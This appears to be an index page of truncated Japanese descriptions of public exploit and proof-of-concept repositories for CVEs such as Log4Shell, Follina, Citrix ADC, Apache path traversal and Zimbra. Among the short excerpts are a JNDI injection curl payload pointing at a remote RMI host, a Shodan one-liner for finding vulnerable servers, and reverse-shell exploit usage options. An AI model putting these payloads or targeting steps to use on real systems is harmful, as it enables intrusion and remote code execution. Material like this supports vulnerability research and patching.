log4j2-rce-poc

Log4j2 RCE脆弱性の概念実証 Log4j2 JNDIリモートコード実行脆弱性（CVE-2021-44228）の最小限の概念実証です。これは教育目的であり、セキュリティ研究者でない人々がその仕組みと影響の大きさを理解するのに役立つことを意図しています。 このPOCは、com.sun.jndi.rmi.object.trustURLCodebaseおよびcom.sun.jndi.cosnaming.object.trustURLCodebaseプロパティをtrueに設定する要件を回避します。これらのプロパティは8u121、7u131、6u141以降デフォルトで無効化されました。 前提...

CVE-2023-36158

CVE-2023-36158 sourcecodester Toll Tax Management System 1.0 におけるクロスサイトスクリプティング XSS の脆弱性により、リモートの攻撃者が My Account ページの First Name フィールドと Last Name フィールドを介して任意のコードを実行できる可能性があります。...

cve-2021-44228--spring-hibernate

CVE-2021-44228 実証コード - Spring / Hibernate この実証コードは Spring / Hibernate を使用していますが、rmi - デシリアライゼーションの同様のアプローチは、あらゆるデシリアライゼーションの脆弱性をトリガーするために使用できます TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 被害者の...

CVE-2024-10542

CVE-2024-10542 および CVE-2024-10781 の PoC: CleanTalk プラグイン（= 6.43.2）のスパム保護、アンチスパム、ファイアウォールにおける認証の破壊 免責事項: この文書で提供される CVE-2024-10542 に関する情報は、学習および教育目的のみです。当方は、この情報を、悪用、システム改ざん、その他の違法行為を含む（これらに限定されない）有害な目的で使用することを推奨も許可もいたしません。 はじめに:...

CVE-2022-30190-Follina-Lab

🔴 CVE-2022-30190 — Follina MSDT RCE ラボ 研究者: Abhimanyu Rawat 役割: 技術調査＆サイバーセキュリティ運用インターン 日付: 2026年5月8日 📌 Follinaとは？ CVE-2022-30190（通称 "Follina" ）は、Microsoft Windows におけるゼロデイのリモートコード実行（RCE）脆弱性であり、攻撃者が被害者に Word文書を開かせる だけで任意のコマンドを実行できるようになります。マクロは不要です。 これは、Microsoft Office の外部テンプレート機能を介して、正規の Windows...

cve-2022-24112

Apache APISIX 2.12.1 リモートコード実行とDocker Lab git clone を使ってこのリポジトリをクローンし、apisix-docker/examples に移動しましょう。この docker-compose.yml ファイルでは、すでに image: apache/apisix:2.12.0-alpine に変更しています。なぜなら、このバージョンに脆弱性が存在するからです。それでは、docker compose を使ってインストールしましょう。 docker-compose によるクイックスタート: docker-compose...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Apache HTTPサーバのパストラバーサルゼロデイ脆弱性が悪用される Apache HTTP Server CVE-2021-41773 が実際に悪用される CVE-2021-42013: Apache HTTP Server 2.4.49および2.4.50におけるパストラバーサルとリモートコード実行（CVE-2021-41773の不完全な修正） Shodan ワンライナー root@kitploit: shodan search Apache Server 2.4.49 | awk 'print $1":"$2' |...

Node.js-CVE-2017-5941

NodeJS 安全でないデシリアライゼーションの脆弱性デモ Node.js は、JavaScript でサーバー機能を実装するために使用されるオープンソースのランタイム環境です。 Node.js 内の特定のソフトウェアパッケージには、デシリアライゼーションを扱う脆弱な関数が含まれており、クライアントが特別に細工された Cookie を提供すると、不正なコマンドを実行してしまいます。 この脆弱性は再現されており、リバースシェルを起動できる可能性があります。これは、クライアントのリクエスト内の Cookie から読み取られるサニタイズされていない入力データが原因で発生します。クライアントは...

bluekeep

CVE-2019-0708 別名 Bluekeep スキャナー CVE-2019-0708 に対するシステムの脆弱性を判定するシンプルなスキャナーです。 これは JaGoTu と zerosum0x0 によるオリジナルの metasploit モジュールスキャナーの Python 移植版で、GitHub こちら から入手できます。 概念実証 Bluekeep の脆弱性を悪用した概念実証 RCE です。 関連 0xeb-bp Github: bluekeep。zerosum0x0 が指摘したもので、XP 上で MST120 をグルーミングするコードが含まれています。 リソース...

cve-2019-19781

CVE-2019-19781 これは、他の研究者が先にコードを公開したため、アップロードされたものです。防御側がシステムにパッチを適用する十分な時間がある間、もう少し長く非公開にしておきたかったところです。 私たちは責任ある開示を支持していますが、今回は既に秘密が漏れてしまっていました。 エクスプロイト: CVE-2019-19781 Citrixmash CVE-2019-19781 エクスプロイト root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781 python citrixmash.py Citrixmash v0....

ds3-nrssr-rce

アップデート: Dark Souls III 1.15.1 2022年8月25日、Dark Souls IIIの新たなゲームアップデート1.15.1が、オンラインサービスの復旧とともにリリースされました。このアップデートでは、CVE-2022-24125とCVE-2022-24126の両方が修正され...

CVE-2025-55182-Simple-Scanner-main

CVE-2025-55182: React Server Components RCE スキャナー Next.jsアプリケーション（React Server Components使用）における深刻なリモートコード実行（RCE）の脆弱性 CVE-2025-55182 を検出・悪用するための包括的ツールキットです。 このリポジトリには、統合Bashスキャナー（シングルモード＆マスモード）、Python/Go実装、およびバグ報奨金偵察ワークフローが含まれています。 📂 リポジトリ構成 scanner.sh — シングルターゲットおよびマススキャン用のオールインワンBashスクリプト...

Log4shell

이글루코퍼레이션 원치현 Log4shell 分析レポート Log4shell CVE-2021-44228 Log4j は Apache ソフトウェア財団の無料オープンソースで、Java ベースのあらゆるアプリケーションで使用可能。様々な Java ベースのサービスのログ記録、JNDI データ及びオブジェクトを発見・参照するための Java LDAP 1389 Lookup。JNDI を介して見つけたリソースを使用する機能 脆弱サーバー起動用 Docker イメージファイルのダウンロード root@kitploit: sudo git clone sudo docker build...

CVE-2019-19781

本記事は、CVE-2019-19781に登録されているCitrix ADC and Gateway Directory Traversalリモートコード実行RCEに関する記事です。 本リモートコード実行脆弱性は、/vpnパス配下の../vpnsにおいてsmb.confファイルの検証が適切に行われないために発生します。 システム構成情報やサーバ情報を奪取 1. Citrix 1989年に設立された米国の多国籍ソフトウェア企業 サーバ、アプリケーションおよびデスクトップ仮想化、ネットワーキング、SaaS、クラウドコンピューティング技術を提供...

CVE-2018-7600.

IGLOO Corp, Won Chi Hyun Drupal RCE 分析レポート Drupal RCE CVE-2018-7600 スクリプトに自分のアドレスを忘れずに入力してください！ 説明: Drupal 7.x および 8.x の複数のサブシステムにリモートコード実行の脆弱性が存在します。これにより、攻撃者は Drupal サイト上の複数の攻撃ベクトルを悪用する可能性があり、サイトが完全に侵害される可能性があります。 解決策: Drupal 7 または 8 コアの最新バージョンにアップグレードしてください。 7.x を実行している場合は、Drupal 7.58...

nmap_draytek_rce

nmapdraytekrce Draytek デバイス上の CVE-2020-8515 を検出するための nmap スクリプト...

php-cgi-cve-2024-4577

php-cgi-cve-2024-4577 php-cgi-cve-2024-4577 海外IPから内部サーバーへのアクセス：これはPHP-CGI CVE-2024-4577 Argument Injectionイベント検出に登録された、PHP言語のCGIモードで発生するリモートコード実行脆弱性です。Windows環境でPHPがCGIモードで実行される場合、Unicode文字をサポートしないシステムでも、最も類似した文字にマッピングして変換するBest-fit機能が誤ったエンコード変換を引き起こし、このイベントが発生します。 - 生データ root@kitploit: POST...

CVE-2022-27925-Revshell

Zimbra 未認証リモートコード実行エクスプロイト CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target TARGET URl with protocol...

cve-2023-34960

cve-2023-34960 Chamilo SOAP API の RCE /webservices/additionalwebservices.php...

SSH-key-and-RCE-PoC-for-CVE-2021-41773

CVE-2021-41773 用 SSH キーと RCE PoC このリポジトリには、CVE-2021-41773 の Proof-of-Concept PoC が含まれています。この CVE は、ローカルファイルインクルージョン LFI とリモートコード実行 RCE の脆弱性を公開します。 インストール Go バージョン 1.23.0 がインストールされていることを確認してください。 次のコマンドでエクスプロイトバイナリをビルドします。 root@kitploit: go build -o exploit 使用方法 ターゲット IP の指定 : -i フラグを使用してターゲット IP...